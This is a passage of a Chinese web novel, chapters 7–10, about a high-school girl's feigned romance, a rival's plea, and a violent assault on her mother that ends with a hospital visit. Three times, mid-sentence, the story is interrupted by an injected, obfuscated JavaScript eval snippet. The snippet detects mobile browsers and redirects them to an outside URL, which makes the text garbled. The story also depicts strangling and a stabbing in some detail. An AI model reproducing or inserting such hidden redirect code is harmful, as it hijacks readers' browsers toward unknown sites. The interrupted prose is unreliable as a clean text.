她第一次看到这段话时的感想,和路星川发过来的这句话几乎一模一样。 Murr-ma:你的昵称是什么意思? 2049:取自我很喜欢的一部科幻电影,《银翼杀手2049》,你看过吗 Murr-ma:没有。 Murr-ma:你很喜欢看电影? 2049:嗯 2049:算是我最大的爱好 2049:你有什么爱好吗 Murr-ma:听歌。 2049:这个我知道 2049:你总是戴着耳机,每次跟你打招呼你都听不见 虽然文字没有语调,但施南笙隐约察觉了字里行间掺杂的怨气。 她在心里为自己辩解:也没有“每次”吧,只是在7路车上偶遇那两次而已。 又忍不住回想,除了最近这两次,路星川还有什么时候跟她打过招呼? 可她全无印象,在江以桢为了路星川找她麻烦之前,她对路星川的关注为零——不,严谨一点,约等于零,他们毕竟是同班同学。 2049:好了,不占用你宝贵的睡眠时间了 2049:晚安,女朋友 2049:明天见 施南笙盯着“女朋友”三个字,心里好像泛起些许涟漪,又好像没有。 她输入“晚安”,删掉,重新打了几个字,发送。 Murr-ma:那只小猫怎么样了? 2049:住院呢 2049:一堆毛病,好在都不致命,得慢慢治 Murr-ma:瘸掉那条腿也没大碍吗? 2049:医生说只是轻微骨裂,可以自愈 2049:[图片] 2049:三三战损版.jpg 施南笙点开大图,明亮的环境让小猫显得更脏了,那条伤腿被纱布包成了粽子,看起来很滑稽。 她不自觉地笑了笑,将图片存进了相册里。 Murr-ma:明天放学后,我想去看看它,可以吗? 2049:当然可以 2049:三三肯定会很开心的 Murr-ma:我要睡了,晚安。 2049:晚安,明天见 施南笙退出微信,点开网易云,播放睡前歌单,设置定时关闭。 把手机放在枕边,翻个身,把小北抓过来抱在怀里——小北是一只憨态可掬的小象玩偶,是她八岁那年尹玉琢送她的生日礼物,因为大象是她最喜欢的动物。她的名字里有个“南”字,所以她给这位新伙伴取名叫“小北”,有了名字就有了灵魂,哪怕它只是个毛绒玩具——她突然意识到,她并非没有朋友,小北就是她最好的朋友,一个永远不会离开她的好朋友。 第二天早上,施南笙挤上7路公车,却没在车上看到路星川。 她站在后门的位置,左顾右盼,确定路星川不在这辆车上,便将目光投向了车外,旋即就愣住了。 一门之隔,路星川正在以和公交车相同的速度骑行,朝阳照耀着他,晨风吹拂着他,吹乱了他的黑发,吹起了他的衣角。 施南笙看着他,脑海中飘过“神采飞扬”、“朝气蓬勃”、“风华正茂”之类与青春有关的词汇,但她并没有像青春片女主一样被打动,她只觉得危险。 路星川就这么一路跟车到了学校,进了校门,他推着车走在前面,施南笙隔着一段距离走在后面,他们都在低头看手机。 Murr-ma:以后不要再这么做了,很危险。 2049:好 Murr-ma:你的自行车不是被偷了吗? 2049:这辆是新买的二手车 Murr-ma:喔。 2049:中午一起吃饭吗 Murr-ma:不行。 Murr-ma:在学校我们还是维持原状,如果被人发现我们的关系,我们就只能分手。 2049:好,听你的 但其实施南笙并不害怕被发现,她甚至期待江以桢能快点发现——完成对江以桢的致命一击后,路星川就失去了利用价值,她就能甩掉他,结束这场虚情假意的恋爱游戏。 昨天那场闹剧虽然以尹玉琢的胜利收场,但那是大人和大人之间的较量,施南笙并不觉得江以桢会就此放过她,然而令她意外的是,直到放学江以桢也没出现,她度过了平静的一天。 因为要去看望三三,施南笙没像平时那样等人走得差不多了再走,而是随着汹涌人潮一起离校,在宠物医院和路星川会和。 三三被关在铁笼子里,原本蔫了吧唧的在打瞌睡,一看救命恩人来了,顿时精神抖擞起来,扒着笼子喵个不停,和先前弱小可怜无助的模样相比简直判若两猫。 施南笙既欣慰又惊奇,它的身躯如此瘦小,怎么会发出如此嘹亮的叫声? 医助姐姐过来跟他们交代了几句三三的状况,大体上稳中向好,过不几天就能出院了。 “你们要不要抱抱它?”医助姐姐问,“它很亲人的。” 路星川用眼神询问施南笙,施南笙轻轻摇头:“不用了。” 医助姐姐来回打量他们,八卦兮兮地问路星川:“女朋友啊?” 路星川觑了施南笙一眼,笑容满面地“嗯”了一声。 医助姐姐夸了句“长得真漂亮”,就去忙了。 喂三三吃了根猫条,两个人就离开了宠物医院。 施南笙说:“我要去便利店打工了。” 路星川说:“我送你。” 施南笙没有拒绝:“好。” 路星川去推车,手机在这时响起来,掏出来看了眼来电显示,是江以桢,他直接挂断,刚把手机揣回兜里,铃声又响了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805430|175122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一脸不耐烦地接听,只说了三句话就挂了—— “喂。” “我没空。” “别再打了。” 路星川推着车来到施南笙面前,他先跨上去,单脚点地,笑着对施南笙说:“上来吧。” 施南笙坐上后座,双手抓着座架:“好了。” 路星川扭头往后看了一眼:“你这样容易掉下去……你可以搂着我的腰。” 施南笙犹豫了下,顺从地环住了路星川的腰。 路星川的心跳陡然乱了节奏,甚至连呼吸都不顺畅了。 他垂眸看了看相握着搭在他肚子上的两只手,笑着说:“出发啦!” 宠物医院和便利店相距不远,不到十分钟就到了。 自行车停在门口,施南笙双脚落地,丢下一声“拜拜”,就转身而去。 路星川看着她进了门,才骑车离开。 花枝沉迷在短视频的世界里,听到门铃响才往门口扫了一眼,见是施南笙,注意力又回到手机上。 等施南笙换好衣服过来交接,花枝关切地问:“听说你妈昨天去学校大闹了一场,你是不是在学校受欺负了?” 施南笙不欲多言:“已经没事了。” 花枝了解她的性子,也不多问,只是语焉不详地安慰了一句:“青春期的男孩女孩都很可怕,等上了大学就好了。” 这句话说到了施南笙的心坎上,她也是这样想的,等上了大学,进入一个崭新的环境,或许她就可以过上平静的生活——她对未来所求不多,仅此而已。 七点多,店里来了个穿黄色制服的外卖员,把袋子往收银台上一放就要走,施南笙急忙叫住他:“我没点过外卖,你送错了。” “没送错,”外卖员语气笃定,“你男朋友给你点的。” 施南笙把订在封口处的外卖小票扯下来,只见备注栏写着:不知道你喜欢什么,随便点的,希望没踩雷by一个渴望进步的男朋友 她拿起手机,把小票拍下来,而后从袋子里取出一块草莓蛋糕和一杯珍珠奶茶——这很符合男生对女生的刻板印象,可她偏偏不喜欢甜食,从小就不喜欢。 为了不浪费,她只能强迫自己吃下去。 来接班的男生又迟到了,施南笙晚了十几分钟才下班。 她拎着书包走出便利店,刚要掏出防狼神器,猝然听见一声高喊:“施南笙!” 施南笙微微一惊,循声望去,有个人正骑着自行车朝这边飞驰,虽然看不清,但她刚才已经听清,是路星川。 未几,自行车在她面前刹停,骑在车上的男生气喘吁吁地说:“还好赶上了。” 施南笙怔了怔:“你怎么来了?” 路星川笑着说:“我来送你回家。” 施南笙:“……” 见她蹙了蹙眉,路星川赶紧解释:“我不是特意来送你的,我在青塘街一家酒吧打工,下班回家正好要从凤仙街经过,就顺便送送你。” 施南笙惊疑不定。 她没想到路星川也需要打工,他明明长了一张富家公子的脸,她以为他和江以桢是一个世界的人。 “你为什么要打工?”施南笙问。 “当然是为了赚钱,”路星川说,“我要养活自己。” “你父母呢?”施南笙知道这么问很冒昧,但她迫切地想搞清楚状况。 顿了顿,路星川笑着说:“他们离婚之后就不大管我了。” 施南笙蓦然被懊悔和歉疚席卷。 她竟犯了以貌取人这么低级的错误。 如果早知道路星川和她才是同类,她绝对不会利用他。 她的表情令路星川捉摸不透,只能妄自揣测:“要是你不喜欢我来接你,那这是第一次也是最后一次。” 施南笙心情复杂,无言以对,她坐上后座,稍作踟蹰,主动搂住了路星川的腰:“走吧。” 路星川把她送到了单元楼下。 施南笙下了车,面朝路星川站着,垂眸避开他的视线,低声说:“你回去吧,路上小心。” 路星川应了声“好”,却没动弹:“看你上去我再走。” 施南笙又站了几秒,默默转身,走了几步又停下,回身看着路星川:“我不喜欢吃甜食,以后别买了。” 路星川再次应“好”,却没顺势问下去,他要靠自己慢慢去发现她的喜好,而不是让她直接告诉他答案。 施南笙这回真的走了。 老旧小区连个单元门都没有,更不可能有电梯,她拾级而上,脚步声将声控灯唤醒。 一层,两层,三层,四层,五层……路星川仰头看着楼道里的灯光次第亮起又熄灭,直到五楼的某扇窗户被灯火点亮,他才安心地骑车离开。 8. 第08次听说 Chapter08 施南笙久违地失眠了。 她在苦恼,该怎么处理她和路星川的关系。 能不能报复江以桢已经没那么重要,她现在只想和路星川一刀两断——这并不是难事,难的是怎么才能把对路星川的伤害降到最低。 翻覆到凌晨两三点,施南笙决定快刀斩乱麻。 与其用谎言遮盖谎言,不如开诚布公。她明天就把前因后果向路星川解释清楚,并争取求得他的原谅,就算不原谅也没关系,人总要为自己的行为付出代价。 周三早上,施南笙刚在教室落座,就听见前排两个女生在议论江以桢。 “听说了么,七班的江以桢要出国留学了。” “真的假的?没剩几天就高考了,怎么突然要出国?” “千真万确,我有个朋友是七班的,她跟我说的。” “有钱真好啊,出国留学像吃饭喝水一样简单,哪像咱们,出个国比登天还难。” “别说出国了,我长这么大连省都没出过。” 侧前方那个女生扭头瞟了施南笙一眼,却并未降低音量,不怕她听见。 “原来发疯这么有用,我们还学什么数理化呀,都去学发疯好了。” “其实江以桢还蛮惨的,要是换我被狗血淋头,我也没脸在这个学校待下去了。” “我倒觉得江以桢并不无辜,谁让她霸凌别人在先呢。” “江以桢确实嚣张跋扈,可只要你不去惹她,她也不会平白无故针对你。一个巴掌拍不响,我觉得被霸凌的人也有问题。” “我隐隐约约有听说,好像是因为两女争一男,被争的那个就是咱班校草。” “呵呵,最讨厌搞雌竟的人了,简直丢我们女生的脸。” 施南笙戴上耳机,将那些闲言碎语阻隔在外。 直到班长问谁的手机还没交,她才走上讲台,把手机放进收纳盒,返回座位时,不经意地往后门方向看了看,路星川还没来。 整个上午路星川都没出现。 手机交上去了,施南笙想给他发微信也发不了。 她忧心忡忡地去食堂吃午饭,半路上被孟雨薇和张梓涵截住:“跟我们走一趟吧。” 施南笙跟着她们来到校外的一家奶茶店,坐在了江以桢对面。 江以桢慢条斯理地搅着一杯奶茶,施南笙心想,待会儿这杯奶茶很可能会泼到她脸上,那她就得回家洗头换衣服,离午休结束还有一个半小时,时间够用。 “你还真敢来,”江以桢习惯性地露出那种“三分薄凉、三分讥笑与四分漫不经心”的表情,“你就不怕我找人绑-架你?” “我相信你没那么蠢,”施南笙说,“也没那么坏。” “你是不是觉得你赢了?”江以桢仍是那副表情,“你现在应该很得意吧?” 如果昨天江以桢这么问她,答案是肯定的,可现在,施南笙正处于作茧自缚的状态,更多的是后悔,后悔不该那么鲁莽——冲动是魔鬼,这句话真是至理名言。 “你为什么喜欢路星川?”施南笙好奇地问。 “我凭什么要告诉你。”江以桢眼里忽然泛起泪光,忍了片刻,饱含恨意的目光重新落在施南笙脸上,“我昨天晚上见过路星川了,他说你跟他已经在一起了,是真的吗?” 施南笙选择沉默。 江以桢只当她是默认,继续质问:“其实你根本不喜欢路星川,你只是想利用他来报复我,对吧?” 施南笙还是默然以对。 江以桢的语气愈发笃定:“现在你的目的已经达到了,路星川对你没有利用价值了,我猜你正盘算着怎么甩掉他,是不是?” 施南笙自觉没有回答的必要,她已被江以桢彻底看穿。 “施南笙,”江以桢咬牙切齿地念出她的名字,“你真恶毒。” 施南笙并不这样觉得。 她只是犯了一个错误,好在发现得及时,还有机会去弥补。 施南笙以为那杯奶茶是时候泼到她脸上了,然而并没有,江以桢硬生生把怒气压了下去,表情渐渐趋于平静,然后非常突兀地说了声“对不起”。 施南笙听清了,却怀疑自己听错了:“你说什么?” “对、不、起,”江以桢瞪着她,一字一顿地重复了一遍,“我为我之前的所作所为向你道歉,是我有眼不识泰山,惹了不该惹的人。” “……”施南笙有点懵了,这唱的是哪一出? “伤害你的人是我,路星川是无辜的,你能不能……”忍了许久的眼泪到底还是断线珠子似的落下来,江以桢用手胡乱擦了擦,哽咽着说下去,“你能不能不要用完就扔?你就继续把这场戏演下去,等路星川意识到你根本不喜欢他,主动和你提分手,你再离开他,可以吗?” 此时此刻,施南笙的心情和那张表情包几乎如出一辙:我看不懂,但我大受震撼。 喜欢一个人,竟然能卑微到这种地步吗? 她甚至有些敬佩江以桢了,但她由衷地希望这种感情千万不要降临在她身上,除了尹玉琢,她不会为了任何人让自己低到尘埃里。 不过,江以桢这个办法确实能把对路星川的伤害降到最低,而她所要付出的只是一些时间和耐心,她觉得她做得到。 “可以,”施南笙说,“我答应你。” 江以桢的要求得到满足,却丝毫开心不起来,她怨声怨气地说:“你最好说到做到。就算我去了国外,我也会一直盯着你的,如果你让路星川受到伤害,我迟早会让你加倍偿还。” 该说的都说完了,江以桢一刻也不想再面对施南笙,起身就走。 施南笙昨晚只睡了三四个小时,现在很困,她买了杯咖啡,边喝边回学校。 下午,路星川还是没出现。 施南笙一拿到手机就给他发微信,可路星川好像人间蒸发了,始终没有回复。 周四,路星川依旧销声匿迹。 放学后,施南笙先去宠物医院看望三三,小家伙记性不错,还没忘掉她,一见她就扯着嗓子大喊大叫,看起来活力满满。 上回见过的那个医助姐姐问她:“你男朋友怎么没来?” 施南笙说:“他有事。” 医助姐姐说:“之前预存的治疗费用完了,我给他发微信他也没回,我还以为他跑路了。” 施南笙去前台交了一千块,随口问了句:“像三三这种小奶猫,是不是很好找领养?” “找领养?”医助姐姐一脸困惑,“我记得你男朋友说过,这是他和女朋友一起救的小猫,他要留着自己养,没说过要找领养啊。” 施南笙说:“我只是随便问问。” 从宠物医院出来,施南笙打给花枝,请了两个小时的假,而后在路边扫了辆共享单车,骑往青塘街。 青塘街上有好几家酒吧,她挨家去问,问到第四家,终于问对了地方。 “你是他什么人?”站在吧台里的服务生边擦拭酒杯边打量她。 “我是他同学。” “就只是同学?” “……也是他女朋友。” “我一猜你就是。”男生得意地笑了笑,“我现在算是知道了,为什么那么多女生追他他都不为所动了。” “他两天没去学校了,我也联系不上他,”施南笙说,“你知道他去哪儿了吗?” “知道是知道,但我不能告诉你,”男生说,“不过你放心,他没事,估计明天就回来了,到时候你直接问他吧。” 他不说,施南笙也不追问,只要路星川没出什么意外她就放心了。 让施南笙没想到的是,几个小时后,当她走出便利店,就看到路星川骑在自行车上,笑着冲她招手。 施南笙不得不承认,路星川的确长得很好看,尤其是笑起来的时候,能让人联想到很多美好的词汇。 她愣了几秒,走到他面前,不等她问,他就主动交代:“我这两天生病了,烧得稀里糊涂,连手机扔哪儿了都不知道,就没回你微信,对不起啊。” 显而易见,他在撒谎,但施南笙并不在意,顺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805431|175122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的话说:“没关系,你病好了吗?” 路星川把脑袋凑过来:“你摸。” 施南笙犹豫了下,抬手覆上他的额头,停顿少顷,把手放下,微微一笑:“你没事就好。” “上车,”路星川说,“我送你回家。” 施南笙坐上后座,非常自觉地搂住路星川的腰。 骑出去一小截,路星川偏着头说:“过完明天就是周末,你有什么安排吗?” 施南笙说:“我妈开了一家按摩店,周末我要去店里帮忙。” 路星川“喔”了一声,隔了一会儿又问:“8号晚上你有空吗?我想带你去个地方。” 8号是高考的最后一天,也是他们两个的生日,而且还是意义重大的18岁生日。 施南笙有尹玉琢为她庆祝,可路星川说过,他的父母离婚后就不管他了,如果她也不陪他,他可能就要独自度过18岁生日,那未免也太悲惨了点儿。 施南笙有愧于他,自然要设法补偿,所以这个生日她无论如何都要陪他一起过的。 “有空,”施南笙说,“你要带我去哪儿?” “保密,”路星川的话音里洋溢着笑意,“到时候你就知道了。” 路星川又一次把施南笙送到单元楼下,看着她走进楼道,看着声控灯亮了又灭,看着五楼那扇窗户被照亮,他才带着满心欢喜离开。 施南笙进了家门,先给尹玉琢发条微信说她到家了,然后拿上睡衣去洗澡。 老房子隔音不好,洗到一半,她听见外面有一男一女在说话,女的当然是尹玉琢,男的像是邱成,施南笙对他的声音并不熟悉,毕竟只见过两次,话都没说过几句。 两个人说着说着突然吵了起来,施南笙急忙关了水龙头,随便擦擦身体,穿上睡衣,开门出去,争吵声戛然而止。 施南笙披头散发地站在卫生间门口,叫了声“邱成叔叔”,邱成还没来得及答应,尹玉琢就凶巴巴地说:“去把头发吹干了再出来!又想感冒是不是!” 施南笙只好返回卫生间,故意敞着门,让吹风机的噪音飘出去,外面那俩人果然被干扰得吵不下去,又说了几句,邱成就被尹玉琢撵出了家门。 施南笙关掉吹风机,扒着门问:“为什么吵架?” 尹玉琢没好气地说:“大人的事小孩子少管。” 说完就回房了,“嘭!”的一声摔上房门。 施南笙关上卫生间的门,继续吹头发。 其实不用尹玉琢说她也猜得到,曾经那些被尹玉琢甩掉的男人,没有哪个是说断就能断的,非得再纠缠一段时间才能断干净。 真是麻烦,希望路星川不是这样的人。 吹完头发,施南笙拿着手机回到房间,发现路星川给她转了一千块钱。 2049:我听宠物医院的人说了,你今天去看三三,给它交了一千块的治疗费,我把这笔钱还给你 2049:三三是我救的,理应由我全权负责 施南笙暗自腹诽:你对那位医助姐姐可不是这么说的。 她不喜欢推来让去,很干脆地收了钱,打算过几天通过生日礼物把这笔钱返还给他。 于是她又苦恼起来,送什么礼物好呢,她对路星川几乎一无所知,完全不知道他喜欢什么。 为了了解路星川的喜好,施南笙摸进了他的朋友圈。 他的朋友圈十分荒凉,有且仅有一条动态,是4天前也就是5月31号那天发的,只发了一张图片,应该是某部外国电影的截图,下方叠着几句英文台词—— 「I would have to tell you,you have bewitched me,body and soul,and i love,i love,i love you。」① 施南笙长按图片,提取文字,去浏览器搜索,结果显示,这段话出自电影《傲慢与偏见》,中文翻译是: 「我想告诉你,你彻底迷住了我,从肉-体到灵魂,我爱你,我爱你,我爱你。」 9. 第09次听说 Chapter09 周五放学后,去便利店接班的时候,施南笙告诉花枝:“花姐,7号8号我要高考,就不过来了。” “不用你说我也知道。”花枝说,“要不你今天也别干了,回家复习去吧。” “不差这一天。”施南笙笑了笑。 “那倒也是,临阵磨枪不如天天向上。”顿了两秒,花枝又说:“我听小陈说你交男朋友了,真的假的?” 小陈就是上夜班经常迟到那个男生,最近路星川总来接她下班,很难逃过小陈的眼睛。花枝迟早也会看到的,施南笙懒得遮掩,直接承认:“真的。” 花枝忍不住吐槽:“眼看要高考了你谈上恋爱了,这跟49年入国军有什么区别?” 施南笙微微失笑:“你说得对。” “你妈知道吗?”花枝又问。 “等高考完再告诉她,”施南笙说,“你先替我保密。” 花枝点点头,忽然压低声音:“我跟你说,谈恋爱可以,但不能随便上床,要是实在实在忍不住,也一定要采取保护措施,千万别重蹈你妈的覆辙,知道吗?” 几句话说得施南笙面红耳赤,她从未想过要和路星川上床,因为他们只是虚假的男女朋友。 “嗐,我就是瞎操心,你这么冰雪聪明,肯定什么都懂的。”花枝笑呵呵地走了,走之前还不忘提前祝她生日快乐。 下班后,施南笙又在店里等了一会儿,等到路星川出现在她的视野中,笑着朝她招手,她才走出去,坐上自行车后座,自然而然地搂住路星川的腰。 这才短短几天,她竟然就习惯了路星川的陪伴,她不用再在深夜无人的街道踽踽独行,不用再时刻握紧防狼神器,也不用再有点风吹草动就担惊受怕,路星川给她带来了她最缺乏的安全感。 累了一天,施南笙不想说话,她分给路星川一只耳机,一起听歌。 虽然路星川已经尽量缓速慢行,还是只用了三首歌的时间就到了单元楼下,都怪凤仙街太短了。 施南笙收回那只耳机,下了车,冲路星川摆摆手:“路上小心,拜拜。” “拜拜。”路星川看着施南笙走进楼道,忽然不高不低地喊了一声:“施南笙。” 施南笙在楼道口驻足回头,看着路星川从自行车上下来,把车停好,而后三步并作两步朝自己走来。 路星川停在她面前,和她一起隐匿在阴影里,两只泛着微光的眼睛盯紧她,磨蹭了足有十几秒,才鼓起勇气开口:“再过两天就高考了,我可以向你讨要一个吻……作为鼓励吗?” 施南笙应该拒绝的,然而拒绝的指令还没传达出去,她的肢-体就擅自做出了反应——她的双脚前移,抵住路星川的脚尖,她的双手抬起,勾住路星川的脖颈,之后便不需要她再做什么,路星川俯身而来,在吻住她的同时将她拥入怀中,绝不给她退缩的机会。 这是他们第二次接吻,依旧生涩,依旧小心翼翼,依旧激动得连灵魂都在颤抖——颤抖的只有路星川,而施南笙心如止水,这种事应该和喜欢的人做才会有那种心潮澎湃的感觉,可她并不喜欢路星川,至少不是那种掺杂着男-欢-女-爱的喜欢。 但施南笙也并非一点生-理-反-应都没有,她的心跳在加速,她的体温在上升,还有一种难以言喻的感觉在她的四肢百骸流窜,令她生出一股隐秘的期待,却又说不清究竟在期待些什么。 是路星川先退开的。 再不结束,他怕自己会原地高-潮。 “上楼吧。”路星川的声音哑透了。 “你先放开我。”施南笙也不敢大声,唯恐把声控灯惊醒,让他们无所遁形。 路星川这才意识到他还紧紧搂着施南笙的腰,在松开她之前,他又蜻蜓点水地在她唇上亲了一下,笑着说:“晚安,女朋友。” 施南笙鹦鹉学舌:“晚安……男朋友。” 施南笙刚到家没多久,尹玉琢就回来了。 她已经洗漱完毕,正靠在床头翻闲书,尹玉琢来到她房间门口问:“你最近咋回事儿,怎么不去店里找我一起回家了?” 施南笙眼也不抬:“我早回来五分钟,就能多睡五分钟。” “那你怎么还不睡?” “因为明天不上学。” 尹玉琢叮嘱她别开空调,这个节骨眼可千万不能感冒,说完要走,却又被施南笙叫住。 “妈。” “嗯?” “你和那个男的分手了吗?” “分了。” “他没再纠缠你吗?” “没有,他长那么帅,是不会缺女人的,何必纠缠我。” “那就好。” 周末两天,施南笙在店里帮忙,果然没见邱成上门纠缠,她替尹玉琢松了口气,这回终于遇见了一个容易摆脱的男人。 她从尹玉琢身上吸取的诸多教训中很重要的一条就是,不管恋爱还是结婚,一定要找那种可以好聚好散的人,这非常重要。 7号早上,尹玉琢骑车送施南笙去学校,到了十三中门口,尹玉琢半句没提考试的事,只是问她晚上想吃什么,施南笙认真想了想:“想吃凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805432|175122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拌杂菜和小炒鱼。” “行,”尹玉琢一口答应,“妈给你做。” 等考完试回到家,尹玉琢也不问她考得怎么样,只是一味地给她夹菜。 8号早上,尹玉琢煮了一锅鸡蛋,因为过生日要吃鸡蛋。 吃完早饭,尹玉琢又用塑料袋装了几个鸡蛋,塞进施南笙的书包里,让她带去学校吃。 到了学校,进了教室,施南笙率先看向后门,路星川难得早来一回,已经在座位上坐着了,而路星川也第一时间看到了她,冲她展露出比阳光还灿烂的笑颜,她垂下眼帘,只当没看到。 施南笙坐下,掏出手机,给路星川发微信:到直饮水机来一下。 然后她就拿着保温杯去接水,路星川紧随而至,和她并肩站在直饮水机前面。 施南笙左顾右盼,见四下无人,从口袋里掏出一枚水煮蛋,迅速塞进路星川的口袋里。 路星川将她的小动作尽收眼底,不禁笑逐颜开,没有笑出声来已是他尽力克制的结果。 施南笙看也不看他,很小声地说了句“生日快乐”,盖好保温杯就回教室去了。 刚落座没多久,听到微信提示音,施南笙不用看就知道是谁发的,点开一看,果然没猜错。 2049:[图片] 2049:这是全世界最好看的鸡蛋 2049:应该载入吉尼斯世界纪录 真傻。 傻到让施南笙笑了一下。 她回了个省略号,就把手机塞进了书包里。 下午考完最后一门,施南笙边随着人流往校门走边给路星川发微信。 Murr-ma:我要先回趟家 2049:我也要先回趟家 Murr-ma:我们在哪儿见面? 2049:就在永乐东街那家肯德基吧 Murr-ma:好。 2049:待会儿见 Murr-ma:嗯。 施南笙坐上7路车,在凤仙街东口下来,先去驿站取出她给路星川买的生日礼物,抱着沉甸甸的箱子往家走。 到了家门口,放下快递箱,摘掉耳机的瞬间,女人凄厉的惨叫声穿过门板钻进她的耳朵,是尹玉琢的声音! 她着急忙慌地掏出钥匙开门,一进去就看到了令她心如刀割的一幕——邱成骑坐在尹玉琢身上,双手抓着她的头发,将她的脑袋一下接一下地撞向地板。 施南笙没有一秒钟的犹豫,她反手从书包侧袋里掏出那把形似圆珠笔的美工刀,向着邱成直冲过去。 10. 第10次听说 Chapter10 在这种危急关头,施南笙的头脑却高度清醒,她知道,她只有一次机会。 若想一击即中,那么把刀插-进邱成的脖颈是最佳选择,但脖颈太脆弱,致死率太高,邱成死不足惜,但她和尹玉琢的人生也会因此葬送,得不偿失。 她只能退而求其次,瞄准了邱成的斜方肌,斜方肌连接肩颈,如果只伤及浅层,既不致命,又能有效降低邱成的攻击力。 她成功了。 刀片刺进去的瞬间就不出所料地崩断了,邱成惨叫一声,立即转过来攻击施南笙,施南笙转身就跑,不成想却被邱成抓住了书包,邱成用力一甩,她就被重重地甩到了旁边的沙发上,还没等她爬起来,邱成就扑过来压住她,双手如铁钳一般攥住了她的脖子,窒息感来得又快又猛。 邱成一脸狰狞,咬牙切齿地咒骂:“你妈是老破鞋,你就是小破鞋,像你们这种水性杨花的贱货,都不得好死,去死吧!去死吧贱人!” 力量悬殊太大,即使邱成受了伤,施南笙依旧无力反抗。 她泪眼朦胧地看着不远处的尹玉琢,她一动不动地躺在地上,好像晕过去了,她想叫醒她,却发不出一点声音。 她很后悔,后悔刚才没把刀插-进邱成的大动脉。 “嘭!” 一声重响之后,脖子上的钳制陡然消失了,空气争先恐后地涌进施南笙的咽喉,她睁开眼,看到尹玉琢丢掉了手中的吸尘器,而邱成则捂着脑袋倒在了地上。 尹玉琢抓住施南笙的手腕,把她从沙发上拽起来,慌不择路地跑进了离得最近的卧室,迅速关门反锁。 砸门声紧随而至,邱成在咆哮:“开门!你们逃不掉的!我要杀了你们!你们都该死!所有背叛我的女人都该死!” 施南笙掏了掏裤子口袋,幸好手机还在,她抖着手解锁手机,还没来得及把报警电话打出去,手机就被尹玉琢夺走了。 “不能报警,就算把他抓进牢里,他出来以后肯定会报复我们,”尹玉琢小声劝阻,生怕被门外的邱成听见,“他就是个疯子,疯起来什么事都干得出来。” “那我们该怎么办?”施南笙问。 “我不知道,”尹玉琢绝望地摇头,“我不知道……” 砸门声猛地停了,外面静了下来。 施南笙想过去查看情况,却被尹玉琢拽住:“别过去。” 施南笙说:“我不开门……” 话没说完,就被一声钝响打断,邱成从砸门改成了砍门,刀尖一下接一下地穿透薄弱的门板,要不了多久就会砍出一个窟窿,等他打开门,被砍的就会是她们。 死亡近在眼前,尹玉琢被极端的恐惧攫住了,整个人慌得六神无主,除了抱紧施南笙,她不知道还能做什么。 施南笙急中生智,假装在打电话,扬声说:“喂,我要报警!我们家闯进来一个疯子,他正在用菜刀砍我们的门,我们家在凤仙街和永乐东街交叉口的康裕小区,请你们尽快派人过来!” 砍门声又持续了几下,终于停了下来。 邱成的声音透过门板,清晰地传过来:“尹玉琢,你记住,我绝对不会放过你们,你和你女儿迟早会死在我手上。” 邱成走了,施南笙听见了他的脚步声。 危机解除,尹玉琢霎时浑身虚脱,差点软倒在地,施南笙扶着她坐到床上,一边帮她擦拭脸上的血泪一边安慰她:“没事了,他走了,不敢再回来了。” “不,不……”尹玉琢头上的伤口还在不停地流血,同时泪流不止,“我们得赶紧离开这里,离开这个家,离开这个城市,逃得越远越好。笙笙,快去收拾东西,我们今晚就走……” 尹玉琢挣扎着站起来,想把衣柜顶上的行李箱拿下来,然而眼前倏地一黑,她就直挺挺地倒了下去,幸好施南笙及时接住了她,她才没摔倒在地。 “妈!妈!” 施南笙喊了几声,尹玉琢毫无反应。 她不敢耽搁,从床头柜的抽屉里找到尹玉琢的身份证和医保卡,连同手机一起揣进兜里,随即背起尹玉琢离开了家。 施南笙也不知道自己哪来那么大力气,背着尹玉琢下五楼,出小区,在路边拦了辆出租车。 小区的门卫过来搭把手,帮她把尹玉琢扶上车,司机扭头往后看,见尹玉琢披头散发还糊了一脸血,倒也不怕,只是担心弄脏座椅。 施南笙绕到另一边上了车,让尹玉琢靠在她身上,一开口声音都是抖的:“去第二人民医院。” 司机没听清:“二院是吧?” 施南笙强自镇定:“是,麻烦开快点。” 正值晚高峰,堵成一锅粥,司机想快也快不了。 出租车龟速前行,施南笙心急如焚,她紧握着尹玉琢的一只手,隔两三分钟就喊喊她:“妈,你醒醒,妈……” 可尹玉琢毫无反应,好在她的手始终是温热的。 二院离得近,即使堵车,也在半小时内赶到了。 施南笙重新背起尹玉琢,踉踉跄跄走进急诊,即刻有医护人员推来病床,帮着她把尹玉琢放上去。 进了诊室,医生边查看尹玉琢的伤情边询问施南笙。 “你是家属?” “我是她女儿。” “怎么受的伤?” “头部反复撞击地板。” “自己撞的还是别人撞的?” “别人。” “受伤以后就一直处于昏迷状态吗?” 